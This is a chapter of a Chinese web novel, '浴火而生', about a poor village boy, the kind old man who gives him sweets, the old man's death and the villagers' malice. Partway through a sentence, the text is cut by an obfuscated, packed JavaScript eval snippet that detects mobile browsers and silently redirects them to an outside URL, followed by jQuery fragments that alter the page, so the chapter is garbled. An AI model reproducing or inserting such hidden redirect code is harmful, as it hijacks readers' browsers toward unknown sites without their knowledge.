30.小鱼儿
作品:《浴火而生》 “小鱼儿,你一个人在那儿干什么呢?你爹呢?”老人看着眼前有些脏兮兮的小孩,笑眯眯地问道。
小孩有些害羞,听了老人的话倒也不怕,抬起头小声地回话:“我爹去挑水了。晚上还要做饭,我爹说再不去挑水,今晚就吃不上饭了。”
小孩说完之后,继续低着头,双手背在身后。
“那你饿不饿呀?来,过来,爷爷这儿有刚买的饴糖,拿去吃吧,甜甜的。”
小孩看着老人从裤兜里掏出一把糖,递了过来。
爹养家不容易,没钱给他买,他也不好意思管爹要,所以已经很久没吃过饴糖了。
他想像村子里其他同龄的孩子一样,见着什么好吃的,没吃过的,只要有人愿意给,就全部接过来。甚至人家没说要给,不愿意给,反正小孩子年纪小,哭喊几声,人家一心软,最后多数也会给。
但是他不敢这样做,因为爹会骂他。
爹说了,人穷不能志短,不能随意要别人的东西,不然就和街上的乞丐没什么分别。
所以这会儿,他虽然嘴里口水都快流了出来,但是他不敢要,因为他怕丢了爹的脸面。
他抬起小脑袋,摆摆手,一张嘴就要拒绝。
但是一个字都还没说出来,在腮帮子里存了好半天的口水,随着他张开的嘴,就如同开了闸的洪水,从他嘴角流了下来。
他一瞬间臊红了脸,双手垂在身体两边,尴尬得不知往何处放。脑袋放得更低,恨不得当即扎一个猛子,将头埋到门前的水田里。
“嘿嘿,小鱼儿,跟我客气什么?你汪爷爷哪次回村没给你们带上些小玩意?别人都拿着,你怕什么?”
汪家爷爷是个性子急的老头,看余大佑还是不动弹,当即拽过他的一只手,将手里的饴糖强塞给了他。
塞完了还不甚满意,他又从裤兜里抓出来一把。
见小孩的手已经捧着饴糖再也捧不下了,他也没有见外,直接扯开余大佑的衣服兜子,把糖装了进去。
还不等余大佑说话,汪家爷爷招呼着在不远处扯狗尾巴草的孙子,带着他急匆匆地走了。
刚走出余大佑家的破房子,汪家爷爷看着自己孙子傻愣愣玩草的样子,再跟刚才的小孩子一对比,心头的火一下子就上来。
“玩玩玩,一天就知道玩!书也不好好念!人家没钱念书辍了学,你可倒好,有钱也不好好念!汪明远,你比人家还大一岁,还没人家听话懂事!我怎么就摊上了你这样一个孙子?气死我了!”
“人家孙子好,你怎么不去抢了,抢过来自己养活啊?”
“你再敢顶一句嘴,看我打不死你!死孩子!”
黄昏时分,两个人吵吵闹闹的话语飘荡在田埂上。
一刻钟之后,身后余家的破木头房子里,余大佑的爹回来了。
他放下肩膀上一晃一晃的水桶,看着儿子站在家门口,拿着一大把饴糖,当下就知道了来龙去脉。
“你汪爷爷来过了?”
“嗯,刚走。”
“你拿了人家这么多饴糖,连一杯水都没给人家倒?”
“我还没来得及倒,他就拉着汪明远走了。”
余二摸摸儿子凌乱的脑袋,看着儿子懂事的模样,心中一阵欣慰。
“嗯,汪家爷爷性子急,这个我知道。”
余二又看见儿子鼓鼓的衣兜子,语重心长地教育他:“汪家爷爷是个顶顶善良的人,你要懂得感恩,以后一定要好好报答他,听到没有?”
“嗯,我知道的。”
虽说汪家爷爷跟个散财童子一样,每次卖掉了手里牛,挣了钱都会摸个仨瓜俩枣给村子里的孩子们,或者是给他们带点糖果糖葫芦之类的小零嘴,但或许是两人有缘分,也或许是因为余大佑比其他孩子更懂事,他每次都对余大佑格外的好。
虽然整个河阴村的人家都很穷,但是穷和穷之间也有分别。
并且因为穷人没有见过真正的富贵,所以恨不得比人家多一个子儿,就要高出对方一个“阶级”,进而再使出通身的力气,凭着这一个子儿压得对方抬不起头。
余大佑家就在河阴村最低的“阶级”,而汪家算得上是这个贫困村子里的“第一等”。
如果说汪家可以在河阴村仰着脑袋走路,那么余家就只能埋头走路。
这也是余大佑说话从不敢抬起头的原因。
不过,还有一个原因:低着头走路,就看不到别人眼里的恶意。
穷人的孩子早当家,在别人还在跟父母撒娇、撒泼打滚不干活的时候,余大佑就学会了看人家的白眼。
他不明白,自己家虽然穷,但是爹对他很严厉,他听话懂事,从不像像村子里其他孩子一样,偷别人的猪草、笋子之类的,搞些小偷小摸的动作。
但是村里人就是莫名的讨厌他,像讨厌他爹一样。
如果他爹做了什么坏事,连带着他也一齐讨厌,那退一万步讲,姑且也算个理由。
可他爹是世界上最善良的人,村里谁家修房子,村长呼吁修路修桥,但凡是需要人做苦力,他爹都冲在最前面,从不推辞。
但是大家就是讨厌他们一家,至于为什么,当时不过八岁的他,想破了头也想不明白。
村子里只有汪家爷爷不嫌弃他家穷,也没对他翻过白眼。
以后长大了是应该对汪家爷爷好的。
哦不,同样也应该对爹好,对爹更好,爹一个人既当爹又当娘,好不容易才把他拉扯大,当然也要对他好。
余大佑这样想着。
饴糖在余大佑的生活里太罕见,舍不得一下子全部吃完,所以每次撕了油纸后,再小心翼翼地放进嘴巴里,舍不得咀嚼,一定要等它自己在嘴巴里化掉。
余大佑连油纸也舍不得扔。
这是汪爷爷给的糖果,是以后自己要对他好的信物,一定要收藏起来,余大佑想着。
他找来了一个尺寸合适的木头盒子,盒子的左边放饴糖,右边放油纸。
每次吃完一个饴糖,就把包裹它的油纸放到盒子的另一半。
就这样,在木头盒子左边几乎见底,右边满得快要放不下的时候,汪家爷爷死了。
余大佑还没有完成信物的收藏,他想报答的那个人就死掉了。
听爹说,汪爷爷被一个疯狗咬了,然后得了狂犬病。
余大佑从田里往家赶回鸭子的时候,又听见路过的吴大娘和人闲聊。
她非常肯定地说,汪家爷爷这些年的钱不是靠着卖牛挣来的,肯定是当了山匪,抢了无辜老百姓的银钱,所以老天爷降罪,把他收了去。
余大佑不知道汪爷爷为什么死了,他不知道狂犬病是什么,但他可以肯定的是,汪家爷爷不会是个坏人,吴大娘肯定在说谎。
他想上前纠正她,跟她理论清楚,跟她说汪爷爷不是坏人。
但是他拿着赶鸭子的竹竿,刚从田地里走出来的时候,忽然正面迎上了向他走来的吴大娘。
她手里拿了一把刚从地里摘的青菜,看样子是要赶回家做饭。
吴大娘正跟旁边的李家媳妇一边走一边说笑,说到老天爷收人的时候,正说得浑身激动不已,好像是大仇得报,却看到余家的小子捏着一根竹竿,从侧面突然走了出来。
她的脸上顿生不喜,接着就是一个个白眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105362|179109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不要钱一样地扔向余大佑,满脸的嫌恶,她讨厌极了余家的这个穷小子。
已经太多次了,余大佑搞不明白,为什么她这样地讨厌自己,好像自己上辈子杀了她的父母。
吴大娘脸上的嫌恶还没收起来,皱着眉头又看到余大佑满裤腿的淤泥,还有他那漏出布鞋的大脚指头。
她满心厌恶,正打算狠狠地骂他一顿,向他施加自己最大的恶意,那孩子却像是不曾察觉到一样,只是倔强地盯着自己。
见到此景,她更是愤怒。
这个死孩子吃错了什么药,竟然敢这样盯着自己,他平时都低着头躲避的!
但她好像是被谁附身了,嘴里的谩骂怎么也吐不出来,在余大佑盯着她的眼神中,突然感觉到一种心虚,好像她是个恶劣的小偷。
汪家爷爷生前对村子里的谁不好了?谁敢拍着胸脯保证,自己没有承过他的恩情?
老人尸骨未寒就在他身后造谣,用最歹毒的诅咒谩骂别人,承了他人的恩情不还也不认,这不是小偷行为又是什么?
但是吴大娘不认,她不承认她的心虚,也不认为她欠谁,只是愤怒,出离的愤怒!
本想趁着余大佑的爹没在附近,趁机拿住那孩子,狠狠教训他一顿,但她手里捏着的青菜提醒着她:赶紧回家做饭,饿着了家里的男人,免不了晚上又是一顿毒打。
吴大娘恶狠狠地剜了余大佑一眼,愤愤然地唾了他一口,“呸,你个死穷鬼看什么看?马上你也要像汪家老头儿一样,叫老天爷收走!”
骂完人之后,吴大娘顿觉解气,支着她的圆规腿,和旁边看了她半天笑话的李家媳妇一起走了。
余大佑犹豫了一个晚上,他想趁着汪爷爷还没有出殡,去灵堂看看他。
但他连这也不敢,因为汪家奶奶非常凶悍,又生性多疑,每次见了他,总觉得他定是上自己家讨东西来了,所以每次都会骂他、赶他。
余大佑辗转反侧,第二日上午,他终于下定决心,偷偷猫着身子去了汪家爷爷的灵堂。
这是余大佑第二次看见人的尸体。
可能因为是汪爷爷的尸体,汪爷爷生前是村子里除了爹以外,对自己最好的人,所以他见了汪家爷爷的尸体也并不感到害怕。
灵堂里挂着一些白色的纸条,他不懂这些是什么,但是村里有人死掉的时候,他也远远地看见过。
他环顾四周,看见不远处平时凶悍无比的汪家奶奶安安静静地坐着,应该是没有发现他。
突然,远处传来几个人哒哒地脚步声,他们径直走向了汪家奶奶。
余大佑见过这几个人,她们是汪家奶奶娘家的姐妹。汪家奶奶一见到这几个人,当即就嚎哭不止,嚎得震天响,余大佑看见挂着的白色纸条也跟着她的哭声飘动起来。
他见远处几个人围着哭着,没工夫搭理他,趁机悄悄走近了汪爷爷。
棺材里,汪爷爷安安静静地躺着。
平时总爱笑吟吟喊他“小鱼儿”的老人,此刻穿着一件白色的粗布寿衣,两只大手贴在身旁,再也不能从裤兜里抓出一大把饴糖给他,眼睛也紧紧地闭上了,再也睁不开。
汪爷爷满脸发白,嘴唇紧闭,没有一丝血色。
他看着他惨白的脸,并不觉得害怕,只是悲伤难过,一种异样的情绪从他心里涌出。
封存在他内心最深处的记忆,像是屋外从天上泼下的大雨,瞬间便浇透了他。
余大佑强忍住泪意,像以前做过的那样,给汪爷爷磕了三个头,然后也不管有没有人看到他,冒着屋外的瓢泼大雨,一路回了家。
眼泪混合着雨水,糊在他脸上,分不清楚。